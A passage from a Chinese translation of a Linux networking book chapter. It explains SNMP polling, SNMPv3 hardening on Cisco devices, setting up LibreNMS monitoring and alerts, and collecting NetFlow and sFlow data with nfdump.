iso.3.6.1.2.1.1.3.0 = Timeticks: (1846451800) 213 days, 17:01:58.00

接口的统计数据呢?让我们从名称开始:

snmpget -v2c -c <snmpstring> 192.168.122.7 .1.3.6.1.2.1.2.2.1.2.2
iso.3.6.1.2.1.2.2.1.2.2 = STRING: "TenGigabitEthernet1/0/2"

然后,我们可以获取进出的数据包(单播):

$ snmpget -v2c -c <snmpstring> 192.168.122.7 .1.3.6.1.2.1.2.2.1.11.2
iso.3.6.1.2.1.2.2.1.11.2 = Counter32: 4336153
$ snmpget -v2c -c public 192.168.122.7 .1.3.6.1.2.1.2.2.1.17.2
iso.3.6.1.2.1.2.2.1.17.2 = Counter32: 5940727

您明白了吧 - 几乎每个常见参数都有一个 OID。但我们如何保持这些参数的清晰?

首先,这是在 RFC 1213 中标准化的,MIB-2 是大多数供应商支持的最新一组定义,作为“最低公共分母”实现。其次,该定义是分层的。这显示了基本树的“顶部”,其中突出显示了mib-2的 OID:

图 12.2 - SNMP OID 树,显示 mib-2

图 12.2 - SNMP OID 树,显示 mib-2

当有一组接口时,将会有一个计数,然后是每个接口统计的表(按接口索引)。如果使用snmpwalk而不是snmpget,您可以收集整个列表,以及每个条目的所有子参数。这显示了 mib-2 的ifTable(接口表)部分的开头:

图 12.3 - SNMP OID 树,显示接口信息(ifTable)

图 12.3 - SNMP OID 树,显示接口信息(ifTable)

此外,他们维护了每个供应商的 OID 起始点列表,每个供应商都有其自定义的项目树。 OID 树的private分支的顶部显示在此处。请注意,在树的顶部,您往往会发现一些可能已被收购或由于某种原因在企业环境中不再常见的组织:

图 12.4 - SNMP OID 树,显示供应商 OID 部分

图 12.4 - SNMP OID 树,显示供应商 OID 部分

这个模型或多或少地很好地结合在一起,各种设备维护着它们的各种计数器,等待一个有效的服务器来查询这些值。

如果您有一个起点,您可以使用snmpwalk命令遍历从该点向下的 OID 树(请参阅SNMPv3部分以获取示例)。不用说,这可能会变成一个混乱的业务,“找到我真正想要的数字”,分散在数百行文本中。

此外,正如您所看到的,SNMP 树中的每个“节点”都有名称。如果您有适当的定义,您可以按名称而不是 OID 进行查询。您可能已经在 Linux 主机上安装了 MIB-2 定义,因此您也可以导入和管理供应商的 MIB 定义。安装或管理各种 MIB 定义的简单方法是使用snmp-mibs-downloader软件包(使用我们熟悉的apt-get install方法安装此软件包)。

要安装供应商的 MIB,我们可以使用 Cisco(作为示例)。安装snmp-mibs-downloader后,编辑/etc/snmp-mibs-downloader/snmp-mibs-downloader.conf文件,并将cisco指示符添加到AUTOLOAD行。现在这行应该是这样的:

AUTOLOAD="rfc ianarfc iana cisco"

cisco MIB 的收集位置和方式的定义在/etc/snmp-mibs-downloader/cisco.conf中:

# Configuarions for Cisco v2 MIBs download from cisco.com
#
HOST=ftp://ftp.cisco.com
ARCHIVE=v2.tar.gz
ARCHTYPE=tgz
ARCHDIR=auto/mibs/v2
DIR=pub/mibs/v2/
CONF=ciscolist
DEST=cisco

各个 MIB 定义在/etc/snmp-mibs-downloader/ciscolist中 - 正如您所看到的,这个文件太长了,无法在这里列出:

# cat :/etc/snmp-mibs-downloaderciscolist | wc -l
1431

更新了snmp-mibs-downloader.conf文件后,只需运行以下命令:

# sudo download-mibs

您将看到每个 MIB 文件都被下载(共 1,431 个文件)。

现在加载了 MIB 文本描述(默认在安装snmp-mibs-downloader后加载),您现在可以使用文本描述查询 SNMP - 在这种情况下,我们将查询实验交换机的sysDescr(系统描述)字段:

snmpget -Os -c <snmpstring> -v2c   192.168.122.5 SNMPv2-MIB::sysDescr.0
sysDescr.0 = STRING: SG300-28 28-Port Gigabit Managed Switch

即使使用描述性字段名称,这个过程也会非常快速地变得非常复杂 - 这就是网络管理系统NMS)的用武之地。大多数 NMS 系统都有一个点对点的 Web 界面,您可以从 IP 开始,然后通过接口或其他统计数据深入查询所需的信息。然后以图形方式呈现这些信息,通常随着时间的推移。大多数更好的 NMS 系统将弄清楚设备是什么,并创建您通常想要的所有图表,而无需进一步提示。

这是哪里出了问题?

SNMPv2 的明文性质是一个持续的问题 - 许多组织简单地没有转向更安全的传输 SNMPv3。

更糟糕的是,许多组织仍然继续使用默认的 SNMP 社区字符串;也就是说,“public”和“private”。在几乎所有情况下,没有必要对 SNMP 进行读写访问,但人们还是进行了配置。这种情况变得更糟糕的是,不仅可以通过读/写访问关闭接口或重新启动设备,而且还可以通过该访问通常检索完整的设备配置 - 甚至有一个 nmap 脚本来检索 Cisco IOS 运行配置。

在操作上,如果您查询设备上的每个接口和统计信息,通常会影响该设备的 CPU。从历史上看,特别是在交换机上,如果您查询每个接口,您将(在操作系统的某个版本上)发现内存泄漏错误。这些错误可能非常严重,以至于您可以绘制内存利用率并看到这些查询不返回几个字节的情况下直线增加,最终导致设备没有足够的内存运行。

因此,这些是明显的建议。使用 SNMPv3,限制对已知服务器的 SNMP 访问,并仅查询您需要的接口。在防火墙和路由器上,这可能包括所有接口,但在交换机上,您通常只查询上行链路和关键服务器的接口 - 特别是虚拟化程序。

有了一些理论知识,让我们来构建一个流行的基于 Linux 的 NMS - LibreNMS。

SNMP NMS 部署示例 - LibreNMS

LibreNMS 是一个从 Nagios NMS 分叉出来的 NMS(现在主要是商业产品),对于一个免费的 NMS 应用来说,它相当全面。更重要的是,将您的设备注册的学习曲线非常简单,安装也可以大大简化。

首先,LibreNMS 的安装文档非常完整,涵盖了各种数据库、网站和其他依赖组件。我们不会在这里涵盖这些说明,因为它们会随着版本的更改而改变;最好的来源是供应商下载页面。

但与其从头开始安装,通常更简单的方法是使用任何一个预安装的映像并从那里开始。VMware 和 Hyper-V 都是非常普遍的虚拟化程序,并且是许多企业的主要计算平台。对于这些,LibreNMS 在预打包的Open Virtualization FormatOVA)文件中有一个完整的 Ubuntu 安装。实际上,正如其名称所示,该文件类型几乎普遍支持部署预构建的 VM 映像。

在本章的示例中,您可以下载并导入 LibreNMS 的 OVA 文件。您要查询的设备可能与示例中的不同,这取决于您的环境中有什么,但核心概念将保持不变。部署 NMS 的一个很大的副作用是,就像日志和日志警报一样,您可能会发现您不知道的问题 - 从过热的 CPU 到接口以最大或“接近最大”容量运行的一切问题。

虚拟化程序的具体信息

确保您部署 LibreNMS VM 的网络可以访问您将要监视的设备。

在 VMware 中,该 VM 的默认磁盘格式为“thin provisioned”。这意味着虚拟磁盘将从足够容纳其上的文件的大小开始,并且随着文件存储的需求增加而增长。这对于实验/测试 VM 来说是可以的,但在生产中,您几乎总是希望有一个“thick provisioned”磁盘 - 您不希望服务器意外“增长”并耗尽存储空间。这永远不会有好结果,特别是如果您在同一数据存储中有多个 thin-provisioned 服务器!

部署后,您需要使用librenms帐户登录 - 该密码会随着版本的更改而更改,因此请务必参考您下载的文档。登录后,请注意该帐户具有 root 权限,因此请使用passwd命令更改librenms的密码。

使用ip address命令获取当前 IP 地址(参见第二章基本 Linux 网络配置和操作 - 使用本地接口)。考虑到这台主机将使用 SNMP 监视关键设备,并且您可能希望为这些设备中的每一个添加 ACL 以限制对 SNMP 的访问 - 鉴于您可能希望手动设置 IP 地址、子网掩码、网关和 DNS 服务器为静态值。您可以使用静态 DHCP 预留或者在服务器上静态分配它 - 选择您组织的标准方法。

完成后,使用 HTTP 而不是 HTTPS 浏览到该地址。考虑到该服务器上的信息的敏感性,我建议安装证书并强制使用 HTTPS,但我们不会在本章中涵盖这一点(尽管 LibreNMS 文档在这方面做得很好)。Web 登录也是librenms,但是默认密码将不同;同样,请查阅您下载的文档。

现在您应该看到一个编辑仪表板的启动屏幕:

图 12.5 - LibreNMS 编辑仪表板启动屏幕

图 12.5 - LibreNMS 编辑仪表板启动屏幕

在继续之前,请点击屏幕右上角的librenms账户图标:

图 12.6 - LibreNMS“账户”和“系统”图标

图 12.6 - LibreNMS“账户”和“系统”图标

然后,也更新 Web 账户的密码:

图 12.7 - 在 LibreNMS 中更改默认密码

图 12.7 - 在 LibreNMS 中更改默认密码

服务器已经运行起来了,让我们来看看如何添加一些设备进行管理。

设置基本的 SNMPv2 设备

要添加最基本的设备,您需要转到该设备。您需要启用 SNMP(在本例中是第 2 版),然后添加一个社区字符串,希望还添加一个 ACL 来限制访问。例如,在典型的思科交换机上,会是这样的:

ip access-list standard ACL-SNMP
 permit 192.168.122.174
 deny   any log
snmp-server community ROSNMP RO ACL-SNMP

就是这样!请注意,我们在 SNMP 社区字符串中使用了ROSNMP - 这对于生产环境来说太简单了。另外,请注意RO参数确保该字符串只允许只读权限。

现在,在 LibreNMS 中,从主仪表板中选择设备 > 添加设备

图 12.8 - 在 LibreNMS 中添加设备

图 12.8 - 在 LibreNMS 中添加设备

填写您设备的 IP 地址,以及社区字符串。您的屏幕应该看起来像这样(当然要用您自己设备的 IP 地址):

图 12.9 - 在 LibreNMS 中添加设备详细信息

图 12.9 - 在 LibreNMS 中添加设备详细信息

现在,您可以通过选择设备 > 所有设备,然后点击您的设备来浏览刚刚添加的设备。

请注意,LibreNMS 已经开始绘制 CPU 和内存利用率,以及每个已启用接口的流量。这里显示了网络设备(在本例中是防火墙)的默认页面:

图 12.10 - 在 LibreNMS 中收集的设备统计信息

图 12.10 - 在 LibreNMS 中收集的设备统计信息

当您深入了解任何特定的可点击链接或图表时,将显示有关收集统计信息的更多详细信息。通常,甚至将鼠标悬停在链接上也会显示详细信息 - 在这种情况下,将鼠标悬停在vmx0链接上,将显示有关该特定接口的详细信息:

图 12.11 - 在 LibreNMS 中悬停在接口上以获取接口详细信息

图 12.11 - 在 LibreNMS 中悬停在接口上以获取接口详细信息

我们已经讨论过部署 SNMPv2 是有风险的,因为它是明文传输和简单认证。让我们通过改用 SNMPv3 来解决这个问题。

SNMPv3

配置 SNMP 版本 3 并不复杂。在大多数情况下,我们采用默认的“只读”SNMP 视图,只需添加用于身份验证的密码和加密密钥。在设备端,这是 Cisco IOS 配置的一个示例:

ip access-list standard ACL-SNMP
    permit 192.168.122.174
    deny   any log
snmp-server view ViewDefault iso included 
snmp-server group GrpMonitoring v3 priv read ViewDefault access ACL-SNMP
snmp-server user snmpadmin GrpMonitoring v3 auth sha AuthPass1 priv aes 128 somepassword

关键参数如下:

我们可以使用snmpwalksnmpget命令进行测试。例如,snmpwalk命令提取系统描述值(请注意,我们将需要 ACL-SNMP 访问列表中的调用站点的 IP):

$ snmpwalk -v3 -l authPriv -u snmpadmin -a SHA -A AuthPass1 -x AES -X somepassword 192.168.122.200:161 1.3.6.1.2.1.1.1.0
iso.3.6.1.2.1.1.1.0 = STRING: "Cisco IOS Software, CSR1000V Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.5(2)S, RELEASE SOFTWARE (fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2015 by Cisco Systems, Inc.
Compiled Sun 22-Mar-15 01:36 by mcpre"

在 NMS 端,只需匹配我们在设备上使用的各种配置密码和参数即可:

图 12.12 - 使用 SNMPv3 将设备添加到 LibreNMS 库存中

图 12.12 - 使用 SNMPv3 将设备添加到 LibreNMS 库存中

注册后,我们可以通过编辑设备来修复设备名称,然后将设备名称更改为更容易记住的内容,并添加 IP 覆盖(NMS 将使用该 IP 进行访问)。当然,如果设备有 DNS 名称,那么使用其 FQDN 进行注册也可以。但是,如果您需要 NMS 进行故障排除时 DNS 可能不可用,依赖 DNS 可能会成为一个问题 - 实际上,您可能正在解决 DNS 问题!

图 12.13 - 在 LibreNMS 中更改设备名称并添加"覆盖 IP"

图 12.13 - 在 LibreNMS 中更改设备名称并添加"覆盖 IP"

请注意,即使我们已经添加了真正的身份验证(在传输中使用哈希密码)和授权(通过添加授权到访问级别),以及对实际数据的加密,我们仍然添加了一个普通的访问列表来保护路由器上的 SNMP 服务。 "深度防御"的口头禅让我们认为,最好总是假设一个或多个保护层可能在某个时候被破坏,因此向任何目标服务添加更多的防御层将更好地保护它。

我们可以通过使用 SNMPv3 将其用于发送加密的 SNMP 陷阱消息来扩展 SNMPv3 的使用,以替换明文 syslog 日志记录。这在某种程度上使我们的日志服务变得复杂,但是非常值得!

SNMPv3 还提供了其他安全配置;您的平台的 CIS 基准通常是一个很好的参考。如果您只想深入了解,或者如果您的路由器或交换机没有基准或来自供应商的良好安全指导,那么 Cisco IOS 的 CIS 基准是一个很好的起点。

除了提供额外的保护之外,SNMP 版本 2 和 3 之间的基本 SNMP 功能几乎保持不变。一旦在 NMS 中注册,使用 SNMPv2 和 SNMPv3 的设备在系统中的操作或外观方式没有任何显着的不同。

现在我们正在使用 SNMP 监视所有各种网络连接的设备和服务器,我们可以使用 NMS 的轮询引擎添加警报以监视关闭的设备或服务吗?

警报

您将想要做的主要事情之一是添加一些警报以配合您的统计数据。例如,如果您转到警报 > 警报规则并单击从收集创建规则,您将看到此屏幕:

图 12.14 - LibreNMS 中的默认警报收集

图 12.14 - LibreNMS 中的默认警报收集

让我们添加一个警报,当任何接口利用率超过 80%时触发。要查看默认收集中是否有类似的内容,请在搜索字段中键入utili - 随着您的输入,搜索结果将被缩小:

图 12.15 - 在 LibreNMS 中添加警报

图 12.15 - 在 LibreNMS 中添加警报

选择规则;我们将得到一些选项:

图 12.16 - LibreNMS 中的警报规则选项

图 12.16 - LibreNMS 中的警报规则选项

从顶部开始,您应该重命名规则。如果您决定导入默认规则集,您不希望因为尝试使用重复的规则名称而导致失败。通常,我会将自定义规则命名为以下划线字符开头;这可以确保它们在排序时始终位于规则列表的顶部。由于我们正在复制收集中的内容,我们也可以轻松地更改触发警报的百分比。

关于匹配设备、组和位置列表,情况变得棘手。目前,匹配列表中没有任何内容,除列表中的所有设备设置为关闭,因此此规则不会匹配任何内容。让我们选择我们的设备:

图 12.17-在 LibreNMS 中匹配设备和组的警报规则

图 12.17-在 LibreNMS 中匹配设备和组的警报规则

现在,保存规则。是的,就是这么简单!

你是否注意到前面菜单中的选择了吗?使用设备组是将一个规则分配给所有相似设备的好方法 - 例如,您可能对路由器或交换机端口设置不同的端口阈值。这是因为增加路由器的 WAN 链路速度可能需要几周的时间,而改变交换机端口可能只涉及将电缆从 1G 端口移动到 10G 端口(例如)。因此,在这种情况下,对所有路由器设置一个规则(可能为 60%),对所有交换机设置一个不同的规则(设置为更高的数字)是很有道理的。

探索规则 - 您会看到许多您可能想要启用的规则 - 用于设备或服务宕机的警报,CPU、内存或接口利用率,以及温度或风扇警报。其中一些警报依赖于 syslog - 是的,LibreNMS 确实内置了一个 syslog 服务器。您可以在概述 > Syslog中探索这一点:

图 12.18-在 LibreNMS 中的 Syslog 显示

图 12.18-在 LibreNMS 中的 Syslog 显示

请注意,您可以进行一些简单的搜索,但这相当简单。这个 syslog 服务器是一个很好的东西,可以用来监视警报 - 这将比我们在本章早些时候设置的警报简单得多。但是,您仍然希望保留我们设置的文本日志,既可以进行更好的搜索,也可以进行长期存储。

当我们向我们的 NMS 添加设备,或者说当我们部署设备并对其进行命名时,有一些事情我们应该牢记。

在添加设备时要牢记的一些事情

在添加设备和组时,请务必对其进行命名,特别是设备,以便它们可以逻辑排序。命名约定通常会使用设备类型(例如 FW、SW 或 RT)、位置名称的标准(例如分公司编号)或城市名称的简称(例如 CHI、TOR 和 NYC 代表芝加哥、多伦多和纽约市)。重要的是要保持一致性,规划如何对事物进行排序,并保持名称中各种术语的简短 - 记住,您将要输入这些内容,它们最终也会出现在电子表格列中。

到目前为止,我们已经专注于使用 SNMP 来监视统计信息。现在,让我们监视设备上运行的服务。

监视服务

请记住,主机上的服务是需要监视的关键事项。通常会使用 NMS 中类似 nmap 的功能来监视数据库访问、API 和 Web 和 VPN 服务的端口。更高级的监视器将轮询服务并确保从轮询返回的数据是正确的。

在我们监视服务之前,我们需要启用服务检查。SSH 到您的 LibreNMS 主机并编辑/opt/librenms/config.php文件。添加以下行:

$config['show _services']             =1;

您可能还希望取消注释这些$config行中的一些或全部内容(以便您可以扫描子网,而不是一次添加一个设备):

### List of RFC1918 networks to allow scanning-based discovery
#$config['nets'][] = "10.0.0.0/8";
#$config['nets'][] = "172.16.0.0/12";
$config['nets'][] = "192.168.0.0/16";

现在,我们将通过向/etc/cron.d/librenms文件添加以下行来更新应用程序的 cron 调度程序:

*/5  *    * * *   librenms    /opt/librenms/services-wrapper.py 1

默认情况下,并非所有插件都已安装——事实上,在我的安装中,没有一个插件被安装。像这样安装它们:

apt-get install nagios-plugins nagios-plugins-extra

现在,我们应该能够添加一个服务。选择22):

图 12.19–LibreNMS 中监控基本服务

图 12.19–LibreNMS 中监控基本服务

你可以扩展这一点——你是否注意到当你添加第一个服务时,列表中有多少服务检查?让我们为 HTTP 服务添加一个监视器。在这种情况下,我们将在我们的防火墙上观察它。这对于监视 SSL VPN 服务也很方便:

图 12.20–使用参数在 LibreNMS 中监控 HTTPS 服务

图 12.20–使用参数在 LibreNMS 中监控 HTTPS 服务

请注意,这里的参数很重要。-S表示检查应该使用 SSL(或更具体地说是 TLS)。–p 443表示轮询的端口。

现在,当我们导航到服务页面时,我们将看到我们刚刚添加的两个服务。你可能需要给 LibreNMS 一些时间来轮询它们:

图 12.21–LibreNMS 中的服务显示

图 12.21–LibreNMS 中的服务显示

可以直接从服务配置页面的下拉菜单中查看所有可用插件的完整列表:

图 12.22–LibreNMS 中可用的服务检查

图 12.22–LibreNMS 中可用的服务检查

一些常用的检查包括以下内容:

所有这些检查的参数文档位于www.monitoring-plugins.org/doc/man/index.html

这大致涵盖了 LibreNMS 系统的基本操作。现在,让我们继续收集和分析流量。我们不会使用数据包捕获,而是使用 NetFlow 协议系列将高级流量信息聚合成“流”。

在 Linux 上收集 NetFlow 数据

当查看接口吞吐量不够时,你该怎么办?很多时候,那些 SNMP 吞吐量图表会告诉你有问题,但不会带你迈出下一步——是哪种协议或哪些人在消耗所有的带宽?这是我可以通过配置解决的问题,还是我需要制定政策来帮助控制组织中人们的视频习惯,还是我真的需要更多的带宽?

我们如何获得这些信息?这并不像 SNMP 那样容易,但 NetFlow 收集了你可能需要的所有信息,以帮助成为“带宽侦探”。让我们讨论一下它是如何工作的,以及涉及哪些协议。

什么是 NetFlow 及其“表兄弟”SFLOW、J-Flow 和 IPFIX?

如果你回忆一下第三章使用 Linux 和 Linux 工具进行网络诊断,以及第十一章Linux 中的数据包捕获和分析,我们在那里讨论了数据包“元组”,这就是我们将那个概念用于几乎所有事情的地方。NetFlow 是一项服务,它从已识别的接口(通常是路由器、交换机或防火墙)收集流量并对其进行汇总。它几乎总是包括我们在本书前面讨论过的核心元组值的信息:

  • 源 IP

  • 目标 IP

  • 协议(TCP、UDP、ICMP 或其他协议)

  • 源端口

  • 目标端口

然而,正如我们将在后面看到的,现代 NetFlow 配置可以通过添加以下内容来扩展标准元组值:

  • QOS 信息(TOS 或 DSCP 位)

  • BGP 自治系统AS)号码

  • TCP 标志(SYN,ACK 等)

TCP 标志是至关重要的,因为第一个数据包(只设置了 SYN 标志)定义了在任何对话中哪个主机是客户端,哪个是服务器。

NetFlow 最初由思科开发,但在 RFC 过程下进行了开发,以允许行业更广泛地采用,除了思科之外,许多供应商也支持 NetFlow。NetFlow 有两个常见的版本-5 和 9-主要区别在于支持的字段数量。经常见到一些“表兄弟”协议:

  • sFlow 由 InMon 开发为开放标准,并有支持 RFC。通常会看到支持 NetFlow 和 sFlow 的网络设备。

  • IPFIX(IP 流信息导出)是另一个开放标准,它建立在 NetFlow v9 的基础上,几乎是 NetFlow v9 的超集。

  • J-Flow 是 Juniper 设备的 NetFlow 等效物,尽管在其最新版本(J-Flow v9)中,它似乎与 IPFIX 相同,并且在 Juniper 的设备特定文档中是这样记录的。

无论您使用哪种协议来导出流信息,接收此信息的系统通常会接收任何或所有这些信息。导出通常在 UDP 端口上进行。虽然在某些情况下,端口将在规范中定义,但它总是可以更改,并且通常会因供应商而异。例如,NetFlow 通常出现在端口20552056443299959996上。sFlow 正式定义为端口6343,但通常部署在其他端口上。IPFIX 目前并不常见(除了作为 J-Flow v9),但被指定为4739端口。

虽然有一些细微差别(特别是 sFlow 在数据收集和汇总方面有一些差异),但结果是相同的。在被汇总后,数据被发送到后端服务器,可以进行查询。在这些数据存储库中,网络管理员寻找与警察侦探相同的事物:

  • 谁发送了数据,发送到哪里?(源和目的地 IP)

  • 数据是什么(源和特别是目的地端口)

  • 它是何时发送的?

  • 通常通过定义用于发送数据的应用程序来推断原因-思科的基于网络的应用程序识别(NBAR)附加组件在这方面可能有所帮助,或者您通常可以从目的地端口(在流的服务器端)推断应用程序。

  • 每个时间间隔发送了多少数据。

让我们深入了解一下收集、汇总和发送流量数据的工作方式,以及这可能如何影响您在组织网络中的设计和实施。

流量收集实施概念

所有这些流量收集协议中的一个关键概念是抽样。所有这些协议在其配置中都具有“每 y 个数据包抽样 x 个数据包”的属性,各种供应商和平台具有不同的默认值。例如,较新的路由器通常会将默认采样率设置为 100%,因为它们通常是较低带宽平台(通常低于 100 Mbps),并且具有 CPU 来支持该收集速率。在 1G、10G 或更快的交换机上,这种速率通常不实用-在这些情况下,以合理的速率进行抽样变得至关重要。

在实施方面,选择接口也很关键。与 SNMP 一样,在大型交换机的所有端口上收集流量信息可能会严重影响交换机的 CPU(以及其整体吞吐量)。不过,您的情况可能有所不同,因为高端交换机通常会将遥测功能卸载到专用硅上,以减少主机机箱 CPU 的使用。

选择收集拓扑结构也很重要。例如,在数据中心/总部/分公司的情况下,如果大部分流量是“中心和辐射”(即,分公司之间的通信很少),您可能只会在中心位置收集流量数据,并将流量收集器放在同一中心位置。在这种情况下,分公司流量简单地是总部流量的倒数,因此第二次发送该流量,通过您为带宽付费的 WAN,通常是不明智的。

唯一的例外是 VoIP。如果您回忆一下第十一章《Linux 中的数据包捕获和分析》,呼叫设置使用 SIP 协议,位于电话机和 PBX 之间。但呼叫本身使用 RTP,直接从一个电话机到另一个电话机。如果分支之间的 VoIP 通信量很大,您可能还会选择监视分支路由器的 WAN 接口。

最后,请记住,虽然这些数据是抽样和聚合的,但最终它们会到达服务器并且必须存储在磁盘上,这往往会很快积累起来。您可能会发现,随着您在保留多少信息以创建有意义的报告方面的“摸索”,您可能需要经常增加您的分区或数据库大小(不幸的是,总是增加)。

同样地,随着数据量的增长,对内存和 CPU 的需求也会增加。您可能会发现,在数据库中偶尔添加索引可以加快报告或 Web 界面本身的速度。不幸的是,添加索引通常会增加额外的磁盘和内存需求,所以也要记住这一点。随着您深入研究这一需求的过程,您会发现您的数据库管理技能会随着时间的推移而增长,并且最终可能会帮助您优化其他以数据库为中心的应用程序。

总是会有一种诱惑,即将 syslog、SNMP 和流量收集合并到一个单一的网络管理服务器上。虽然合并 syslog 和 SNMP 是一件常见的事情,但如果 NMS 使用数据库来记录信息,您可能会希望有一个单独的基于文本的日志存储库,这样可以使您的长期日志存储过程变得简单。关于流量收集,您几乎总是会将其放在一个单独的服务器上。在较小的环境中,您可能会采用“一体化”方法,但即使在许多小型环境中,您会发现流量收集的资源远远超过其他两个功能。此外,对后端数据库的依赖和入站数据的高速率意味着这可能会使您的流量收集服务器异常“脆弱” - 您可能会发现您需要每年一两次重建此服务器以解决“无法解释”的问题。此外,由于这个原因,您会发现组织普遍会在发生这种情况时切换到不同的应用程序或数据库平台(除非涉及商业许可),只是因为到那时,他们会知道他们不喜欢以前的构建,而且由于有了重建,测试下一个解决方案的门槛很低。

在涵盖了所有这些基本流信息之后,让我们为真实情况构建一个 NetFlow 解决方案,从一个典型的路由器开始。

配置路由器或交换机进行流量收集

首先,我们将定义我们要收集的内容。首先,我们想要我们的标准元组信息 - 源和目的 IP、协议和端口信息。我们还将添加 QoS 信息(ipv4 tos行),以及方向和路由信息(如果可能的话,as信息是 BGP 自治系统信息)。在这个定义中,我们还有应用程序名称。这主要是用于如果您还在运行 Cisco 的 NBAR 附加组件。NBAR 设置在接口上(您将在下一页看到),并帮助通过其组成的网络流量识别应用程序的名称。

flow record FLOW-RECORD-01
  match ipv4 tos
  match ipv4 protocol
  match ipv4 source address
  match ipv4 destination address
  match transport source-port
  match transport destination-port
  match application name
  match flow direction
  match interface input
  match interface output
  collect routing source as
  collect routing destination as
  collect transport tcp flags
  collect counter bytes
  collect counter packets

接下来,我们将定义流出口。这告诉系统从哪里发送流信息以及从哪个接口发送。流源很重要,因为如果发生变化,它将看起来像 NetFlow 服务器上的另一个设备。还要注意,我们在此部分中定义了一个接口表,它将发送足够的接口信息以帮助定义服务器上的主机和接口特性。请注意,流目的地端口几乎总是 UDP,但端口号没有标准化。供应商通常有自己的默认值,并且在我看到的所有实现中,该端口号是可配置的:

flow exporter FLOW-EXPORT-01
  destination 10.17.33.187
  source GigabitEthernet0/0/0
  transport udp 9996
  template data timeout 120
  option interface-table
  option exporter-stats timeout 120
  option application-table timeout 120

如您在定义中所见,流量监视器将出口和流记录绑定在一起,以便可以将其作为一个“整体”应用于接口:

flow monitor FLOW-MONITOR-01
  exporter FLOW-EXPORT-01
  cache timeout active 60
  record FLOW-RECORD-01

在接口上,您将看到我们定义了一个既入站又出站的流量监视器。请注意,您可以定义多个记录器和监视器。通常,只有一个流出口(因为通常对于任何给定的设备,只有一个流目的地):

带宽语句通常用于帮助定义 OSPF 或 EIGRP 路由协议中的路由器指标。在流量收集的情况下,定义带宽通常会自动配置各种流图的每个接口的总带宽。定义每个物理接口的总带宽是关键的,这样每个图表都有准确的上限,并且随后将显示聚合和特定元组统计的准确百分比:

Interface Gigabit 0/0/1
  bandwidth 100000
  ip nbar protocol-discovery
  ip flow monitor FLOW-MONITOR-01 input
  ip flow monitor FLOW-MONITOR-01 output

第 2 层流量收集-例如,在单个交换机端口上-通常要简单得多。例如,在 HP 交换机上,在一个交换机端口上收集 sFlow 数据可能看起来像以下示例。

请注意端口号为6343。与 NetFlow 相比,sFlow 将6343/udp分配为其默认端口。当然,客户端和服务器端都可以配置为其他值:

sflow 1 destination 10.100.64.135 6343
interface <x>
 sflow 1 sampling 23 50
 sflow 1 polling 23 20
interface <y>
 sflow 1 sampling 23 50
 sflow 1 polling 23 20

请注意定义的采样率和轮询间隔。还要注意,由于在这种情况下在第 2 层收集流量数据,因此您的元组可能会受到限制,这取决于交换机型号。这也有助于解释为什么配置要简单得多-除非交换机解构采样帧以获取每个数据包的 L3/L4 信息,否则要收集的信息就会更少。

构建了路由器配置后,让我们继续构建和配置此方程式的服务器端。

使用 NFDump 和 NFSen 的示例 NetFlow 服务器

NFDump 和NetFlow SensorNFSen)是流量收集世界的良好入门级工具。特别有趣的是,NFDump 使用自己的文件格式,并且命令行工具在操作上与 tcpdump 非常相似(我们在第十一章中介绍了 Linux 中的数据包捕获和分析)。因此,如果您喜欢我们在该章节中的过滤讨论和示例,那么使用 NFDump 工具进行“top n”类型的统计和报告将非常合适!

NFCapd 是一个流量收集器应用程序。我们将在前台和后台运行它。

NFSen 是 NFDump 的简单 Web 前端。

我们将在独立的 Linux 主机上运行此操作;您可以使用我们在整本书中一直在使用的 Ubuntu VM 或物理主机。让我们首先安装nfdump软件包(这将为我们提供几个与 NetFlow 相关的命令):

$ sudo apt-get install nfdump

现在,编辑/etc/nfdump/.default.conf文件并更改顶部的options行:

options='-l /var/cache/nfdump/live/source1 -S 1 -p 2055'

这将把数据放在我们的 NFSen 服务器稍后期望的位置。-S参数告诉 NFCapd 进程(我们将作为守护进程运行)将日期戳附加到路径上。因此,对于 2021 年 6 月 23 日,我们捕获的所有 NetFlow 数据将在目录中:

/var/cache/nfdump/live/source1/2021/06/23

正如您所期望的那样,这些数据往往会迅速积累,这可能会有风险,因为/var也是存储日志和其他重要系统数据的地方。在生产中,我建议您为此单独设置一个分区,并将路径的根目录设置为不同的内容,也许是/netflow。这样,如果您的 NetFlow 容量填满,其他系统服务不会直接受到影响。

-p参数定义了我们的nfcapd进程将监听的端口-默认的2055在大多数情况下应该很好用,但根据需要进行更改。

现在,我们可以开始将 NetFlow 流量定向到此收集器 IP,使用端口2055/udp。几分钟后,我们可以使用nfdump查看 NetFlow 数据。数据文件存储在/var/cache/nfdump/live/source1/中(从那里跟踪到今天的日期)。

让我们查看一个文件的前几行:

nfdump -r nfcapd.202106212124 | | head
Date first seen          Event  XEvent Proto      Src IP Addr:Port          Dst IP Addr:Port     X-Src IP Addr:Port        X-Dst IP Addr:Port   In Byte Out Byte
1970-01-01 00:00:00.000 INVALID  Ignore TCP     192.168.122.181:51702 ->     52.0                                      .134.204:443            0.0.0.0:0     ->          0.0.0.0:0           460                                              0
1970-01-01 00:00:00.000 INVALID  Ignore TCP      17.57.144.133:5223  ->  192.168                                      .122.140:63599          0.0.0.0:0     ->          0.0.0.0:0          5080                                              0

请注意,每行都换行了。让我们只看元组信息和每个样本间隔移动的数据量。我们将去掉列标题:

$ nfdump -r nfcapd.202106212124 | head | tr -s " " | cut -d " " -f 5,6,7,8,10,12,13 | grep –v Port
TCP 192.168.122.181:51702 -> 52.0.134.204:443 -> 460 0
TCP 17.57.144.133:5223 -> 192.168.122.140:63599 -> 5080 0
TCP 192.168.122.140:63599 -> 17.57.144.133:5223 -> 980 0
TCP 192.168.122.181:55679 -> 204.154.111.118:443 -> 6400 0
TCP 192.168.122.181:55080 -> 204.154.111.105:443 -> 920 0
TCP 192.168.122.151:51201 -> 151.101.126.73:443 -> 460 0
TCP 31.13.80.8:443 -> 192.168.122.151:59977 -> 14500 0
TCP 192.168.122.151:59977 -> 31.13.80.8:443 -> 980 0
TCP 104.124.10.25:443 -> 192.168.122.151:59976 -> 17450 0

现在,我们开始看起来像是信息了!让我们通过添加-b来聚合双向流量。我们还将从目录中可用的所有文件中读取。现在的列是ProtocolSrc IP:PortDst IP:PortOut PktIn PktOut ByteIn ByteFlows。请注意,在某些情况下,我们在该时间段有一个活动流,但没有数据进出:

$  nfdump -b -R /var/cache/nfdump | head | tr -s " " | cut -d " " -f 4,5,6,7,8,10,12,13 | grep -v Port
UDP 192.168.122.174:46053 <-> 192.168.122.5:161 0 0 1
